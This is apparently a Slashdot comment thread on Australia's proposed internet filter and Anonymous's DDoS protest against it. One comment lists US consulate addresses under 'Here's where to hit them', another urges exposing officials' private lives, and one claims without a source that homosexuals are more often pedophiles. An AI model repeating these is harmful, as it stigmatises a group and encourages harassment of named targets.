      For Iran, all you need to know is that death penalty for homosexuals is mandated by Shari'a. Any country that deems itself Islamic will have that implemented.

    86. Re:Question by NotBornYesterday · · Score: 1

      Because when a "respected" nation does something that a "non respected" nation does, then it becomes "respectable".

      Or the "respected" nation becomes less respectable.

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    87. Re:Question by boxwood · · Score: 1

      its a chicken and the egg... do pedos wank off to child porn because they are attracted to children? or are they attracted to children because they spend all day wanking off to child porn?

      It may be like Pavlov's dog. You see child porn, have a wank, which gives you positive reinforcement. Now whenever you think of children you pop a boner. What's going to happen the next time you're left alone with a child?

      Maybe we shouldn't be encouraging people to see children as sex objects. If you get aroused when thinking about children, don't seek out child porn. Seek psychiatric help.

    88. Re:Question by baKanale · · Score: 1

      I can see no rational argument to lock up an 18 year old boy because his 17 year old girlfriend texted him a picture of her breasts, an image he had no chance to refuse before seeing it's content.

      The scariest and most irrational part is that not only does the 18 year old get it for possessing child porn, but the 17 year old gets prosecuted for producing child porn. And then they both get to enjoy spending the rest of their lives informing their neighbors that they're child molesters.

      Even worse is that you get basically the same punishment for pissing in a bush.

    89. Re:Question by DavidTC · · Score: 1

      This assumes that an attraction for male children is, in any way, similar to an attraction to male adults.

      It's entirely possible, actually likely, that there are three attractions: Male adults, female adults, and children of any gender.

      As a pedophile is explicitly defined as someone who is attracted by the lack of secondary sexual characteristics, (1) it seems entirely likely that gender-based attraction (Which, after all, works off secondary sexual characteristics...we cannot see people's genitalia) does not operate the same way for them.

      So, actually, the three things people are attracted to are: Male secondary sexual characteristics, female secondary sexual characteristics (Let's not forget transsexuals there, producing more than a few mental gymnastics as us straight men attempt to move them to the 'male' category from where they were before we figure it out.) and no secondary sexual characteristics.

      Ah, but now I've caused a problem the other way. If the attraction is identical, than logically it should be roughly 50%.

      Well, no, there's a reason for that. Most pedophiles are men, and, to put it bluntly, it's physically easier for a man to have sex with a female than a male, even a child.

      Also, there may be less of a taboo in their mind(2), and they can imagine the female child in a more traditional role such as their 'wife'. It's entirely possible as the taboo against homosexuality goes away, the abuse will skew back to more gender neutral.

      The question really is: How many people who are 'actually gay', as in, attracted to adults of the same gender, are also pedophiles? Or, assuming that almost all pedophiles are men, how many are attracted to male secondary sexual characteristics and no secondary sexual characteristics, vs replacing 'male' with 'female'?

      I honestly have no idea of the answer, but that's the real question, not which gender of children they're abusing.

      1) As opposed to just people attracted to underaged, but sexually mature people...and if you claim you've never been attracted to a mature 17 year old, or a mature person just under whatever the age of consent for your area is, when you were 20, you're lying. Adults do not act on such attractions, but, nevertheless, have them, and that is not pedophilia, which is attraction to non-sexually mature people.

      2) Statistically, bisexuals end up in heterosexual relationships more often than homosexual ones, partially because it's easier to find heterosexual partners, but, just as importantly, they get less resistance from society so the whole thing is easier. While I doubt that a pedophile would find any meaningful difference of societal acceptance from abusing children of the opposite gender, (Although, frankly, I wouldn't be too surprised.), it's entirely possible they think that they would.

      P.S. The commonly accepted figure is that 10% of the population is gay or bi. I don't know where you got 2%-5%,but 2% is way too low. Statistically, 4% of men, and 10% of women, admit to being occasionally attracted to people of the same gender, and another 4% of claimed to be mostly attracted to the same gender. (And that's just how many admit it on a poll.)

      It sounds like you're doing the 'identity politics' trick, whether or not people consider themselves 'homosexual'. Only about 2.8% of men, and 1.5% of women claim to be 'homosexual', whatever that mean by that. This was, of course, the same survey where 4% of both admitted being attracted mostly to the same gender.

      But that's not particularly relevant to this discussion.

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    90. Re:Question by DavidTC · · Score: 1

      Erm, your water filtering analogy is stupid.

      People do not actually have the right to have unfiltered water. Well, they do, but they don't have the right to have it provided by the government. There is only one water system, and the government will filter it to reasonable levels. You don't like the level they go to, you can either put crap back in, or you can filter it some more.

      Perhaps your analogy works if everyone is drinking well water, and the government is running around putting filters on their wells, and outlawing purchasing soft drinks in stores, calling them 'impure water'.

      This is after the government walked around offering to install filters for free, and put big warning on soft drinks, but people just kept getting soft drinks, and no one installed filters. People simply didn't care, their water was fine to them.

      Even that's not a very good analogy. We recognize the government has the general right to stop dangerous things from being sold, but not stop 'dangerous' speech from being passed from person to person. It would be entirely reasonable for the government to require stores to stop selling soft drinks made with cocaine, for example.

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    91. Re:Question by DavidTC · · Score: 1

      How about this for a radical solution - we let the people who want it have it, and the people who don't, don't have it?

      Oh, oh, and I know. The government could provide software to do that that people could install on their computer...for free!

      Like the Australian government has been doing for a while now. No one used it.

      You know, it's always amazing when governments say 'The people want this', and they try to make it mandatory, but end up compromising politically and making it optional...and no one uses it...so a push happens to make it mandatory.

      Hey, dumbasses, I think we just figured out how many people actually want it. People might claim to want it, but they either are a stupidly vocal minority, or they are factually incorrect about their own desires.

      We're about to do the same thing with health insurance in the US. Granted, at the same time, we're demanding that insurance companies allow people to purchase health insurance that they outright excluded until now, but there's a reason healthy people aren't buying health insurance...it's an insanely horrible scam that no one wants any part of unless they are already very sick.(1)

      Sometimes ideas are just stupid. Sometimes the citizens, despite people saying 'This is what citizens want', are smart enough to say 'Thanks, but no thanks'.

      1) I just know that someone is going to take that the wrong way, so I will say a) I am a Democrat, b) I am someone whose preexisting condition means he can't buy insurance currently, c) am for health care reform, and d) know that requiring people to buy health insurance from the same monstrous companies that kill every year approximately 1/10 the amount of people that cigarette do is going to be so incredibly unpopular that the Democrats will be lucky if they're not fucking lynched. Democrats: Always willing to shoot themselves in the head as long as both they and the Republicans bipartisanly pull the trigger.

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    92. Re:Question by harl · · Score: 1

      So you agree completely with the government. You agree with all republicans and all Democrats. You agree with the homosexual ones and the straight ones?

      You want no control over what you watch? Internet filtering software is a great thing. The government should provide a high quality version for free. But configuring it should be up to each person.

      Read my sig. It's impossible to make these decisions on anything beyond a personal level.

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    93. Re:Question by Darkman,+Walkin+Dude · · Score: 1

      Please, reconsider exactly what it is that you are supporting.

      Right backatcha.

    94. Re:Question by dacut · · Score: 2, Funny

      No one should EVER be criminally liable for taking a nude photo of themselves and showing to another...

      Even if it's the goatse guy?

    95. Re:Question by mog007 · · Score: 1

      I've heard wacko religious zealots make this claim as a way of justifying the ban on homosexuals in the Boy Scouts. They've cited a source, and neither have you.

    96. Re:Question by mog007 · · Score: 1

      Bah... they've NEVER cited a source, and neither have you.

    97. Re:Question by Philip_the_physicist · · Score: 1

      From the ACMA website, it seems that small breasts is just one criterion used to decide if a woman looks underage, and it isn't new. The problem is that the law prohibits anything that turns on pedobear even if you can prove that no children were involved.

    98. Re:Question by Miseph · · Score: 1

      GP implied that most SLASHDOT READERS are not American, I asserted that most, in fact, are. As evidenced by Slashdot's management and administrators saying so (and I don't see any good reason for them to lie about it).

      Whether or not most internet users are American is another question entirely, and one that I have not seen any reliable means of measuring (especially given that connections != users).

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    99. Re:Question by Philip_the_physicist · · Score: 1

      But does the existence of such cartoons cause any harm to you or anyone else? It is one thing to prevent images which are "obscene and repugnant to the vast majority of people" being posted on billboards and all the strawmen that pro-censorship advocates like to use, but it is quite another to prevent an adult viewing something in private, or transmitting it to another adult by any reasonable means.

    100. Re:Question by Philip_the_physicist · · Score: 1

      He did make the point that harassment was different. Also rule 35.

    101. Re:Question by Attila+Dimedici · · Score: 1

      Google is your friend.

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    102. Re:Question by Philip_the_physicist · · Score: 1

      I know a few supporters. One is a paid-up member of the FFP, believe in YEC and doesn't believe in any form of environmentalism or conservation at all. He's a CS student who should know better, but he hasn't let reality get in his way before and he isn't going to start now. A few believe that it could be made to work and that it won't be abused (these people are mostly in the liberal right and are law students or lawyers), and there are a few more who would like a magical filter which blocks all CP but not anything else, costs nothing for the end user, doesn't slow down the internet and comes with lots and lots of pink ponies, but have enough sense to know that this won't ever happen.

      However, no-one who can be informed approves once they have the problem explained to them, they just probably won't do anything about it.

    103. Re:Question by Macgrrl · · Score: 1

      Oi! As an Australian I object to you speaking on my behalf in claiming we like censorship. I'm pretty sure if I did a straw poll among my friends they would pretty much all be against it. Even the parents with young children.

      I'm in support of the rating of content so that consumers can make informed choices (and take personal responsibility for those choices), but it is not up to the government to decide that certain content is took challenging for me to accept/tolerate/understand. That way bad things lie.

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    104. Re:Question by Falconhell · · Score: 1

      The question I want to ask is who the hell appointed YOU the spokesman for all of OZ?

      Personally I do not like Conroys attempts at censorship, which was not part of their electoral platform.

      If you think we are any better off than the US you are deluded.

    105. Re:Question by Pseudonym · · Score: 1

      One mistake in your reasoning is in assuming that an adult who sexually abuses a pre-adolescent child of the same sex would be attracted to adults of the same sex (if they were also attracted to adults). This is not a given.

      Pre-pubescent girls and pre-pubescent boys look almost identical, physically speaking. It seems a reasonable hypothesis that pedophiles may be attracted to the pre-pubescent body/innocence of childhood/whatever rather than being attracted to one sex or the other specifically.

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    106. Re:Question by shadowbearer · · Score: 1

      Now I'm not disagreeing with what you're trying to say, overall; but I'd like to point out a few things:

        SEX is also unofficially there in the list, by punishing those that would take advantage of someone who does not quite have the assumed mental capacity you should have at a certain age.

        Who makes the assumptions? When I was a teenager - 25 years ago - I knew plenty of kids my age who were extremely mature when it came to sex. Plenty more who were not. Now that I'm middle aged I meet my friends' kids who seem to have about the same distribution.
        I guess what I'm trying to say is that perhaps existing laws/morals do an injustice to those kids who do mature early.

        I'd like to note that as to the emotional side/feel good side, I know plenty of otherwise functional adults - many older than I - who have problems with sexual relations very similar to what you ascribe to children - ie, not able to distinguish between a good sexual relationship and a bad one. I'm sure many other people have had similar experiences.

        So how are children unique in that respect, again?

        I'm sorry, but I just don't believe that the concept of "maturity" (regarding any issue in one's personal life, especially) can be assigned by chronological age. People mature at different rates, in different ways, and in some respects some people never mature at all.

        Cases like these should be dealt with on individual basis and not by blanket laws, especially regarding even well-intentioned censorship.

        I'd also like to note that in my opinion, any country where you can be conscripted to fight in the military before you can legally have a drink in a bar is seriously fucked up. Yes, I'm an American...

      SB

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    107. Re:Question by SpaceCadets · · Score: 1

      Why the hell is this flamebait? Bit too close to home for you, moderator?

    108. Re:Question by Pseudonym · · Score: 1

      Disclaimer: I do not condone the DDoS attacks. I think they are childish, stupid, illegal and counter-productive.

      We elected this government and the previous one which planned the censorship originally.

      That's true, but there's one issue here which is important for everyone.

      The previous government didn't "plan the censorship". Their plan was to clamp down on what is hosted in Australia that violates local content laws. The idea was to bring local Internet hosting under the same rules as local book shops. You may or may not agree with the classification rules, but that doesn't seem unreasonable to me, at least in principle. If you don't like the rules on what is refused classification, you should change the classification rules, not the rules which brings everyone under the same rules.

      The current government was not elected on the basis of what they are currently proposing. The policy that they ran on has mysteriously disappeared from the ALP's web site, but a copy remains at the APH library. Here's they key snippet:

      Provide a mandatory ‘clean feed’ internet service for all homes, schools and public computers that are used by Australian children. Internet Service Providers (ISPs) will filter out content that is identified as prohibited by the Australian Communications and Media Authority (ACMA). The ACMA ‘blacklist’ will be made more comprehensive to ensure that children are protected from harmful and inappropriate online material.

      And just after the election, news reports were still saying:

      Senator Conroy says anyone wanting uncensored access to the internet will have to opt out of the service.

      I, and everyone else who actually read the policy prior to the 2007 election, interpreted this as meaning that ISPs will be required to provide a feed filtered with an ACMA-provided blacklist which filters only RC material, which will be provided by default, and that customers (possibly excluding schools etc) may opt out.

      Essentially, the proposal looked like it was intended to move Net Alert from the client to the ISP, and restrict the filtering to the same standard that all other media are covered by, namely RC. Yes, this would have put a burden on smaller ISPs. Yes, it might give parents a false sense of security that the feed is "clean". Yes, details would have to be worked out. Nonetheless, everyone who read the policy document seemed to agree that it wasn't a ridiculous idea in principle and it might be worth trialling.

      What is on the table now is something quite different. If the proposal happens, not only will you not be able to opt out (contrary to pre- and post-election promises), but classification decisions will also be secret (at the moment, every OFLC decision is in a public database).

      Wherever you stand on Internet censorship, the bait-and-switch is something that you should be angry about, and I don't think you need to be Australian to feel that anger.

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    109. Re:Question by Anonymous Coward · · Score: 0

      Context reading. You should look into it. People who pick apart the statements of others usually think that they're being clever, but most of the time it's to take little snippets out of context because they have no argument on the statement as a whole.

      I stated that you have to be in Australia to participate in a "real-life protest". That statement is correct no matter how you spin it, I don't care what is happening outside of this country in whatever embassy wherever. The point is that enough people in Australia give a crap about their information that they want to protect it.

    110. Re:Question by reverendbeer · · Score: 1

      Better still, educate your fucking kids to not do stupid shit on the internet. That works better than any filter.

      I find your ideas intriguing and wish to have everyone subscribe to your newsletter...whether they want to or not, ironically.

    111. Re:Question by drsmithy · · Score: 1

      I'd say that the majority of families that I've seen have asked about internet filtering. Many people do want it.

      And they can get it - right now - without the rest of us having to suffer. All ISPs in Australia must provide customers with filtering software if they want it.

    112. Re:Question by Attila+Dimedici · · Score: 1

      What assumption? There have been several cases of homosexual men who have been convicted of pedophilia who were in active homosexual relationships.

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    113. Re:Question by Anonymous Coward · · Score: 0

      Better still, educate your fucking kids to not do stupid shit on the internet. That works better than any filter.

      If your definition of "not doing stupid shit" includes not looking at porn I assure you it won't work very well on any normal kid - not on boys at any rate. Best case scenario is that they'll learn to hide it from you.

    114. Re:Question by dov_0 · · Score: 1

      Obviously some Aussies did! The government offer we had a couple of years ago of free net-nanny software was a huge success! I wish they were still running that program, it was a great idea.

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    115. Re:Question by dov_0 · · Score: 1

      I don't want it. Period. Now if you want to live beneath a net-nanny filter, that's your issue, but don't be forcing your filtering views on me though. I'm a big boy, I can take care of my own.

      I don't see why you get to force your view on the rest of us either???

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    116. Re:Question by dov_0 · · Score: 1

      Why is it such a big deal? We've always had censorship of the media here. A vocal minority oppose it. We've also had free and open political debate. You can be a communist here. That's ok. You can be a more right than a Thatcherite and that's ok. Censorship of the media and free political debate have co-existed here for a long time. The big fear that people have concerning censorship is that it will be used to stifle political debate, well, that has not been used to any great effect in the mass media here and I don't think people would let it last long on the internet either.

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    117. Re:Question by dov_0 · · Score: 1

      I do share concerns regarding the censorship of political material, like the anti-abortion site that was apparently on the list early on. The site was not offensive, and was actually quite sensitive towards women who had followed through with abortions. Not a bad resource at all. Censorship of the media has always existed in Australia, but alongside free political debate. Where censorship intrudes on free political debate is where I get concerned. As I have stated in other places however, I feel that porn etc should be available on an OPT-IN basis instead of an opt-out. Just like on cable TV.

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    118. Re:Question by dov_0 · · Score: 1

      I'd say that the majority of families that I've seen have asked about internet filtering. Many people do want it.

      And they can get it - right now - without the rest of us having to suffer. All ISPs in Australia must provide customers with filtering software if they want it.

      and how well publicised is this? That is the first time I've ever heard that!

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    119. Re:Question by dov_0 · · Score: 1

      Why the hell is this flamebait? Bit too close to home for you, moderator?

      Shhh! Most people here on slashdot don't actually believe in free debate. In fact most people who say they do, well, don't. They mean 'free debate as long as you don't disagree with me'. They use the flamebait or troll options as a 'disagree' option, which really should take the form of a well-worded response.

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    120. Re:Question by dov_0 · · Score: 1

      The question I want to ask is who the hell appointed YOU the spokesman for all of OZ?

      Personally I do not like Conroys attempts at censorship, which was not part of their electoral platform.

      If you think we are any better off than the US you are deluded.

      Good for you. I have my opinion, you have yours. We both speak it out. That's called democracy my friend.

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    121. Re:Question by dov_0 · · Score: 1

      Then you may choose to opt out of the program. Pretty simple really.

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    122. Re:Question by dov_0 · · Score: 1

      Ummm, I'm Australian. We don't have Republicans or Democrats. Not in the same sense as you anyway...

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    123. Re:Question by dov_0 · · Score: 1

      Yep. I see that YOU certainly believe in free debate...not. Hypocrite. If you actually researched the issue properly, you would find that people are quite able to opt out of the filter if they choose to do so.

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    124. Re:Question by dov_0 · · Score: 1

      Again I see it. All of you are supposedly shouting for free speech, but as soon as someone uses that right who you disagree with, you want to shut him up! I am in favour of free political debate. You are obviously not.

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    125. Re:Question by dov_0 · · Score: 1

      I think the politicians are less of a problem than the unelected civil servants. It is the civil servants who will be doing the filtering and they do not change from government to government.

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    126. Re:Question by harl · · Score: 1

      Nice dodge but I don't see how your location in validates the question. Please answer it. Feel free to replace random party name with a random party name of your choice.

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    127. Re:Question by MillionthMonkey · · Score: 1

      You miss the point. It isn't the censorship itself. It's more the fact that the banned sites list is fundamentally uneditable- it's being maintained by the government and not you, or (more likely) your ISP whom you are (supposed to be) free to cease business with if you want.

      Even if the government mandated that ISP service include "censorship service", that wouldn't be as stifling as a government-maintained list for all ISPs that you can't do anything about.

      A fundamental idea here (in theory, if not in practice lately) is that a government cannot be trusted with things like this. They teach you that in school when they go over the Bill of Rights. The document makes no sense at all without that assumption. It's not a list of what the government will allow the citizens, it's supposed to be a list of things the citizens will not allow the government to control. While censorship itself is not automatically something that would be forbidden by the First Amendment, the fact that the censorship is controlled by the government and not its citizens is what would make it a clear violation.

      If some government employee in charge of maintaining that list quickly reviewed this site and and simply added slashdot.org to the list after spotting a typical FP troll, how would you feel about that? Someone in the government could add all Thatcherite sites to the list for all you know, and leave communist sites alone. At least here it would be possible to jump ISPs if you don't like the censorship they're applying. In your country your only option would to be to petition your government. They may institute mechanisms where you complain and they review the list (that might be done here too) but it still amounts to a petition to the government.

      In practice, concepts like this tend to be carelessly talked over and avoided when we implement obnoxious things (like torture), but we are still supposed to talk about them.

    128. Re:Question by dov_0 · · Score: 1

      First things first. We don't have a bill of rights here and we don't need it. We've gotten along quite nicely without it for the last 200 odd years.

      Secondly, you are still confusing Australian politics with US politics. We have a democracy here, which is not based on how much money you have, unlike the US system. It's one of the best democracies in the world and it's hard to break that!

      Thirdly, there is an opt-out option. If I don't want to be under the filter, I don't have to be!

      Fourthly, I believe we have much greater freedom of speech in Australia than in the US, it's just less likely that someone will shoot us, plant a burning cross on our lawn or threaten us in any other way.

      Fifth, the real worry about the filter list is not that it is done by the government, but that it is to be done by unelected civil servants without review. If it was done in a way that it could be debated in parliament, then we would have no worries.

      In short, you fail. You have no understanding of Australian politics or even of our system of governance. Stay out of it.

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    129. Re:Question by Macgrrl · · Score: 1

      I shouldn't have to run tunnelling software to access simple webpages. What they are proposing is mandatory filtering of all internet traffic - it's not something you click a check box to opt out of - that's what "Mandatory" means.

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    130. Re:Question by dov_0 · · Score: 1

      I do think that, like most stuff on TV, porn etc on the internet should be opt-in, not opt out. Also the filter list should be debatable in Parliament, not just done in secret by civil servants with their own agendas.

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    131. Re:Question by dov_0 · · Score: 1

      The government stopped the free software program a year or two ago. It's a shame. It wasn't well publicised either which is probably why it wasn't used as much as it could have been.

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    132. Re:Question by Pseudonym · · Score: 1

      "Several" is not the same as "32%".

      The null hypothesis is that if you take the set of pedophiles who are also in relationships with adults, the distribution of those adult relationships between different-sex and same-sex would be the same as what you would find in the general population, controlled for socioeconomics and geography.

      The controls are important, since same-sex relationships are more socially discouraged in some places and in some social groups than in others. It would also be a hard hypothesis to disprove, since the numbers are so very low to begin with. But that's what I would expect.

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    133. Re:Question by Attila+Dimedici · · Score: 1

      My recollection of the numbers says that you are wrong, but I do not remember where I originally saw the breakdown of those numbers so I cannot look them up now. The numbers I gave above were a different compilation of data than my original source for saying that a larger percentage of homosexuals are pedophiles than heterosexuals. I did not closely look at the breakdown from that perspective, so my recollection may be incorrect.
      You should spend some time investigating the numbers, not just homosexual versus heterosexual distribution. There is significant distortion in the way that incidents of pedophilia are reported. As an example, at the height of Catholic priests abusing children, if you were a Catholic with children in public schools, your children were statistically at greater risk of sexual abuse from their teacher than from their priest.

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    134. Re:Question by drsmithy · · Score: 1

      and how well publicised is this? That is the first time I've ever heard that!

      About as much as it can be - which is to say that it shouldn't take someone actually interested in filtering software more than a few minutes of clicking around in the "support" or "FAQ" pages of their (or any) ISP.

      The law was enacted around 2000, from memory.

    135. Re:Question by Haley's+Comet · · Score: 1

      As one that has been a victim of statutory rape, I am appalled by you indifference in your first paragraph. Although it did not do as severe to me what it has done to a great number of others, it did damage my thought process and my "first thought" of how things should be. For example, sexually I am attracted to much older women (~45).

      While I think sex should be celebrated, I think some responsibility is in order. Some American states have laws of 16+, others are strictly 18+. If you are 18+ and feel you need prepubescent sex, seek consult with professionals as you have a thought deficiency. Fuck that, you are retarded. What part of a person can't wait? (And fuck you if you hate the word retarded!)

      As you stated, you know nothing (your words: no first hand knowledge). Well, I DO have firsthand knowledge. That kind of atrocity can cause a myriad of mental irregularities that (if gone unchecked) can produce exponential problems. I'm even going to imply that the world has experts to consult (if they did, this shit would stop), but what I will state is that from experience it is a bad thing.

      Yeah, all the guys joke about "why didn't I get the 1-on-1 time with my hot teacher". After 15-16, that shit doesn't fuck with a guy (seemingly). That will forever alter the personality of an 8 year old, especially when they find out they have contracted some incurable STD.

      You will have to forgive my indignation at your first paragraph. I take all your talk of "if it's consentual" to mean that you condone prepubescent sex with adults...

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    136. Re:Question by dov_0 · · Score: 1

      I would, but I don't actually see how your question makes sense? Of course I don't personally agree with everything that each government does. Neither do I have to. I do have to accept that they were voted in democratically. If I do not agree with what they say or do, I have several options ranging from doing nothing to writing letters to relevant ministers or forming a lobby group. That is all part of democracy.

      I still maintain that your scant knowledge of Australian politics inhibits your ability to say anything intelligent about our politics.

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    137. Re:Question by dov_0 · · Score: 1

      Isn't that only ISP's that opt into the program? A brief search ISP websites showed me one with a link to the Internet Industry Association website and one one with pages with links to resources on how to stay safe online as well as links to Cyberpatrol and Net Nanny websites. Other ISP's I viewed had nothing.

      ISP's who participate in the program are not required to offer filters for free either. From the IIA website:

      There are costs involved in providing filtering software products and services to end users. It is up to your ISP whether or not these costs will be passed on to you. Whilst a number of ISPs offer filtered products and services free to their users, the IIA does not require that ISPs should carry the cost of complying with the new regulatory regime because it is concerned that this would disadvantage many small ISPs.

      This program is clearly not well publicised by ISP's, or for that matter, the government. Free filter software would seem to be pretty much unobtainable to the average windows user and the system is deficient.

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    138. Re:Question by gfim · · Score: 1

      No, the whole problem is that the proposed filter is MANDATORY. There is no opt-out. Labor has changed its election promise significantly.

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    139. Re:Question by MillionthMonkey · · Score: 1

      I agree with you mostly. I tried to emigrate to Australia a few years ago and they told me to go to hell for having a chronic health condition. So did Canada and NZ. I hope you can excuse me for being sour.

    140. Re:Question by dov_0 · · Score: 1

      I can see why you'd be a bit sour. Australia is a great country to live in. Peaceful. It's a shame you couldn't emigrate. I also have a chronic health condition and can understand the difficulties and restrictions that it can place on ones person, even if you are able bodied and can work like myself. We have to fight so much harder to do stuff and people around really don't understand. I guess one my mottoes in life is, "Life isn't fair!" In a strange way, it helps.

      If I've worded my arguments a bit strongly, no hard feelings?

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    141. Re:Question by harl · · Score: 1

      I still maintain that your scant knowledge of Australian politics inhibits your ability to say anything intelligent about our politics.

      First this is an invalid statement as you have no idea as to my knowledge level. Second the statement is irrelevant because my position has nothing to do with a particular government but government in general.

      Government filtering is nonsensical. It can't work. By trying to appeal to the "majority", which doesn't actually exist unless you're in a direct democracy, you end up being overly broad in your banning to the point where it can't work well for anyone.

      People are very diverse in what they think is should be filtered. What A thinks should be filtered B thinks is ok and what B thinks should be filtered A thinks is ok. So if the government filters then no one wins. Either A is unhappy, B is unhappy, or both A and B are unhappy. It is impossible to make both A and B happy. This unhappiness comes at a cost to taxpayers.

      Now if we instead leave the government out of filtering both A and B are free to customize the filter so it is exactly right. Both A and B are happy. The cost to government, and thus taxpayer, is little to none depending on how hands off the government wants to be.

      More money spent for less happiness or less money spent for more happiness.

      I am curious though how allowing South Australia's 7.2% of the population to inflict their filtering views on the rest of the country is democratic.

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    142. Re:Question by dov_0 · · Score: 1

      Your lack of open-mindedness combined with generalisations, poor logic and questionable statistics is somewhat amusing.

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    143. Re:Question by Anonymous Coward · · Score: 0

      Yet rather than refute the post you insult the poster. That speaks volumes.

  3. Re:viva revolutsion! by Ethanol-fueled · · Score: 5, Informative

    Fuck 'em. Here's where to hit them, from some scumsucking possibly bunk website:

    Australian General Consulate Atlanta, GA -
    Suite 970, One Buckhead Plaza 3060 Peachtree Road, NW Atlanta 30305 United States of America Tel:(+1 404) 760 3400 Fax: (+1 404) 760 3401

    Australian General Consulate in Chicago, IL -
    123 North Wacker Drive Suite 1330 Chicago IL 60606 United States of America Tel: 1 312 419 1480 Fax: 1 312 419 1499

    Australian Consulate in Detroit, MI -
    860 West Long Lake Road, Suite 200 Bloomfield Hills Detroit MI 48302-2086 United States of America Tel: +1 248 593 9000 Fax: +1 248 593 9001

    Australian Consulate in Denver, CO -
    9200 West Cross Drive, Suite #110 Littleton Denver CO 80209 United States of America Tel: 1 303 321 2234 Fax: 1 303 973 9938

    Australian General Consulate in Honolulu, HI
    - Penthouse, 1000 Bishop Street Honolulu 96813 United States of America Tel: 1 808 524 5050 Fax: 1 808 531 5142

    Australian Consulate in Houston, TX -
    5757 Woodway Drive #175 Houston TX 77057 United States of America Tel:1 713 782 6009 Fax: 1 713 782 7509

    Australian Consulate in Miami, FL -
    Suite 208 2525 SW Third Avenue Miami FL 33129 United States of America Tel:1 305 858 7633 Fax:1 305 857 0044

    Australian General Consulate New York , NY -
    150 East 42nd Street, 34th fl, New York NY 10017, USA Tel; (212) 351-6500 Fax: (212)351-6501


    Australian Mission to The United Nations in New York, NY -
    150 East 42 Street, Level 33 New York NY 10017 United States of America Tel: (1-212 or 1-646) 351 6600 Fax: (1-212 or 1-646) 351 6610

    Australian General Consulate San Francisco, CA -
    625 Market Street, Suite 200 (Cnr Market and New Montgomery Streets) San Francisco CA 94105-3304 United States of America Tel: 1 415 536 1970 Fax: 1 415 536 1982

    Australian Embassy in Washington, DC -
    11601 Massachusetts Ave Washington DC NW 20036-2273 United States of America Tel:1 202 797 3000 Fax:1 202 797 3331 E-mai:General enquiries: library.washington@dfat.gov.au

  4. "tit storm" by girlintraining · · Score: 1, Insightful

    Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs. They are government so this shouldn't be any real kind of challenge now should it?

    I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior. Because if there's one thing the public can't stand for, it's being prohibited from doing the very things these authority types reserve for themselves. They already believe themselves to be morally superior to you so I ask again -- what real challenge is there here?

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    1. Re:"tit storm" by Anonymous Coward · · Score: 5, Informative

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.

      Its actually a reference to our PM's "Shitstorm" comment on national TV a while back - The Australian, or more via google

    2. Re:"tit storm" by Anonymous Coward · · Score: 2, Funny

      It is immature and reeks of disorganization.

      You've never heard of Anonymous, have you?

    3. Re:"tit storm" by nine-times · · Score: 1

      Really guys, naming your protest after female anatomy does nothing to help the cause

      In fairness, wasn't the protest about censorship of the female anatomy?

    4. Re:"tit storm" by PCM2 · · Score: 5, Funny

      It is immature and reeks of disorganization.

      What a strange thing to say about a group that originated on 4chan.

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    5. Re:"tit storm" by Anonymous Coward · · Score: 0

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.

      Indeed. It should have been named, "Operation Cockapocalypse."

    6. Re:"tit storm" by linhares · · Score: 5, Insightful
      One particular wording that I'd love to see is something that inverts the framing from morality to porn approval, something along the lines:

      "This hardcore porn has the seal of approval of the Australian Government."

      "The Australian Government: demanding MORE for your porn needs."

      "How can you trust Hardcore Porn that's not approved by the Australian Government?"

      "Don't worry: This movie with the horse sucking this girl's giant tits has the oficial seal of approval by the Australian Government."

    7. Re:"tit storm" by Yosho-sama · · Score: 5, Insightful

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization. There are far better ways to undermine censorship. You have to attack the authority of the censors. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.

      You have no idea how politics works. People opposed to the Republican Party in the U.S. have been doing that for 10 years, however that only works if your opponents have shame, which people in politics typically lack.

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    8. Re:"tit storm" by deniable · · Score: 3, Insightful

      Almost as good as "Banned in Queensland." Bad Taste, Peter Jackson's first film proudly proclaims this on the case.

    9. Re:"tit storm" by linhares · · Score: 5, Insightful

      "Big-tit porn; priority no 1 of your Federal Government."

      "Be safe: Please refer to the Australian secure masturbation laws."

      If I had some shop skills, I'd be making an "official seal of approval", with the flag and the leading politicians behind this and some nice big government-approved tits on it.

    10. Re:"tit storm" by astar · · Score: 4, Insightful

      I am convinced that humor is a powerful weapon. Exposing the MPs as objects of humor sound fine to me, and probably to you. By one comment, the title is already in that vein. the shitstorm comment

      Also, you have to be a little careful about cultural assumptions. If you are USA, you might have second thoughts about the title. In australia, maybe not. I have the vague idea they are a little looser then the USA about sex. Most everyone is. but this is slashdot, so who would know anything about the subject.

    11. Re:"tit storm" by Hurricane78 · · Score: 0, Troll

      I agree, it’s a bit sexist. Then again, what did you expect from 4Chan?

      Don’t worry, we have a “Operation Dickstorm” just for you. ^^

      But considering you are female and a geek, I guess you will prefer the titstorm anyway. ;))

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    12. Re:"tit storm" by Anonymous Coward · · Score: 4, Informative

      It was named in part to bring to light the stupid rules used by ACMA to classify content, the week 'Operation titstorm' was announced by Anonymous a story came to light about ACMA banning some porn as 'Child Porn' because the legal-age woman had small tits. The initial idea was to fax/email massive amounts of small breasted pornography to all parts of the Australian government, but most of the focus has been on the DDoS.

    13. Re:"tit storm" by Evil+Shabazz · · Score: 1

      There are far better ways to undermine [group]. You have to attack the authority of the [group]. Make them appear weak, useless, and strip their credibility. Expose them at every corner as being partial, biased, and at the same time abjectly failing to do their jobs.

      That kind of rationality only works with individuals, small groups, and/or in the movies. It is not nearly as effective against large-scale mob mentality that has been duped into drinking the Kool Aid and is no longer capable of rational though on its own - such as, say, the Evangelical Republicans or the Obamacrats... I wish you were right and it really was that simple, but alas... look at the state of the USA right now.

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    14. Re:"tit storm" by phantomfive · · Score: 1

      Really guys, naming your protest after female anatomy does nothing to help the cause. It is immature and reeks of disorganization.

      Some people like protesting more than they actually care about the issue. Anonymous probably fits into that category as much as anybody (yeah yeah, a group is made up of individuals and each one is there for a different reason, but if they really cared they would come up with a better name).

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    15. Re:"tit storm" by DavidD_CA · · Score: 1

      I look forward to seeing pictures of these censorship advocates having sex with their mistresses, getting wasted in public, allegations of bribery, and all other unseemly manner of behavior.

      Hence the operation's name, Titstorm.

